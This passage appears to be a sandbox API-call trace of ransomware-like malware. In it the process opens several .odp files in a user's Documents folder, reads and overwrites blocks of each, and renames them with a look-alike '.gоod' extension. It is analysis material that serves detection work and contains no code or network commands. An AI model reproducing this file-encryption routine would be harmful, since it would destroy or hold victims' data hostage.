ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x7c457290, ftLastAccessTime.dwHighDateTime=0x1d4d25b, ftLastWriteTime.dwLowDateTime=0x7c457290, ftLastWriteTime.dwHighDateTime=0x1d4d25b, nFileSizeHigh=0x0, nFileSizeLow=0x9d7d)) returned 1 [0260.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0260.107] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.108] GetFileType (hFile=0x85c) returned 0x1 [0260.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.108] GetFileType (hFile=0x85c) returned 0x1 [0260.108] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0260.108] ReadFile (in: hFile=0x85c, lpBuffer=0x382ac78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x382ac78*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0260.108] CloseHandle (hObject=0x85c) returned 1 [0260.109] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.109] GetFileType (hFile=0x85c) returned 0x1 [0260.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.109] GetFileType (hFile=0x85c) returned 0x1 [0260.109] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x9d7d [0260.109] WriteFile (in: hFile=0x85c, lpBuffer=0x382bef0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x382bef0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0260.109] CloseHandle (hObject=0x85c) returned 1 [0260.109] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.109] GetFileType (hFile=0x85c) returned 0x1 [0260.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.110] GetFileType (hFile=0x85c) returned 0x1 [0260.110] ReadFile (in: hFile=0x85c, lpBuffer=0x382e190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x382e190*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0260.373] CloseHandle (hObject=0x85c) returned 1 [0260.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.373] GetFileType (hFile=0x85c) returned 0x1 [0260.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.373] GetFileType (hFile=0x85c) returned 0x1 [0260.373] WriteFile (in: hFile=0x85c, lpBuffer=0x382cf08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x382cf08*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0260.374] CloseHandle (hObject=0x85c) returned 1 [0260.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp.gоod", lpFilePart=0x0) returned 0x3f [0260.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0260.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d35e910, ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x7c457290, ftLastAccessTime.dwHighDateTime=0x1d4d25b, ftLastWriteTime.dwLowDateTime=0x9767d633, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d8d)) returned 1 [0260.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0260.374] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp.gоod")) returned 1 [0260.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0260.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), fInfoLevelId=0x0, lpFileInformation=0x3939080 | out: lpFileInformation=0x3939080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3714f180, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0xea3c72c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb4, ftLastWriteTime.dwLowDateTime=0xea3c72c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbd)) returned 1 [0260.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0260.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.376] GetFileType (hFile=0x85c) returned 0x1 [0260.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.376] GetFileType (hFile=0x85c) returned 0x1 [0260.377] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0260.377] ReadFile (in: hFile=0x85c, lpBuffer=0x39394b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x39394b8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0260.377] CloseHandle (hObject=0x85c) returned 1 [0260.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.377] GetFileType (hFile=0x85c) returned 0x1 [0260.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.377] GetFileType (hFile=0x85c) returned 0x1 [0260.377] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x9cbd [0260.377] WriteFile (in: hFile=0x85c, lpBuffer=0x393b6a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x393b6a0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0260.377] CloseHandle (hObject=0x85c) returned 1 [0260.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.378] GetFileType (hFile=0x85c) returned 0x1 [0260.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.378] GetFileType (hFile=0x85c) returned 0x1 [0260.378] ReadFile (in: hFile=0x85c, lpBuffer=0x393d970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x393d970*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0260.608] CloseHandle (hObject=0x85c) returned 1 [0260.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.663] GetFileType (hFile=0x85c) returned 0x1 [0260.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.663] GetFileType (hFile=0x85c) returned 0x1 [0260.663] WriteFile (in: hFile=0x85c, lpBuffer=0x37f3808*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x37f3808*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0260.663] CloseHandle (hObject=0x85c) returned 1 [0260.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp", lpFilePart=0x0) returned 0x44 [0260.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp.gоod", lpFilePart=0x0) returned 0x49 [0260.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0260.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3714f180, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0xea3c72c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb4, ftLastWriteTime.dwLowDateTime=0x9795f3a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9ccd)) returned 1 [0260.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0260.665] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\tokmpM-t2mP0Q7NGK.odp.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\tokmpm-t2mp0q7ngk.odp.gоod")) returned 1 [0260.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0260.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), fInfoLevelId=0x0, lpFileInformation=0x3972eb8 | out: lpFileInformation=0x3972eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7d4700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x92f41850, ftLastAccessTime.dwHighDateTime=0x1d4c5b5, ftLastWriteTime.dwLowDateTime=0x92f41850, ftLastWriteTime.dwHighDateTime=0x1d4c5b5, nFileSizeHigh=0x0, nFileSizeLow=0x139c)) returned 1 [0260.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0260.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.666] GetFileType (hFile=0x85c) returned 0x1 [0260.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.666] GetFileType (hFile=0x85c) returned 0x1 [0260.666] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0260.666] ReadFile (in: hFile=0x85c, lpBuffer=0x39732d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x39732d0*, lpNumberOfBytesRead=0x1f9ed278*=0x39c, lpOverlapped=0x0) returned 1 [0260.666] CloseHandle (hObject=0x85c) returned 1 [0260.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.667] GetFileType (hFile=0x85c) returned 0x1 [0260.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.667] GetFileType (hFile=0x85c) returned 0x1 [0260.667] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x139c [0260.667] WriteFile (in: hFile=0x85c, lpBuffer=0x3974568*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3974568*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0260.667] CloseHandle (hObject=0x85c) returned 1 [0260.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.667] GetFileType (hFile=0x85c) returned 0x1 [0260.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.667] GetFileType (hFile=0x85c) returned 0x1 [0260.667] ReadFile (in: hFile=0x85c, lpBuffer=0x3976828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3976828*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0260.692] CloseHandle (hObject=0x85c) returned 1 [0260.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.693] GetFileType (hFile=0x85c) returned 0x1 [0260.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.693] GetFileType (hFile=0x85c) returned 0x1 [0260.693] WriteFile (in: hFile=0x85c, lpBuffer=0x3975580*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3975580*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0260.693] CloseHandle (hObject=0x85c) returned 1 [0260.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp", lpFilePart=0x0) returned 0x40 [0260.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp.gоod", lpFilePart=0x0) returned 0x45 [0260.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0260.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\WuRCKzJVRTewQ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\wurckzjvrtewq.odp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7d4700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x92f41850, ftLastAccessTime.dwHighDateTime=0x1d4c5b5, ftLastWriteTime.dwLowDateTime=0x979858b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 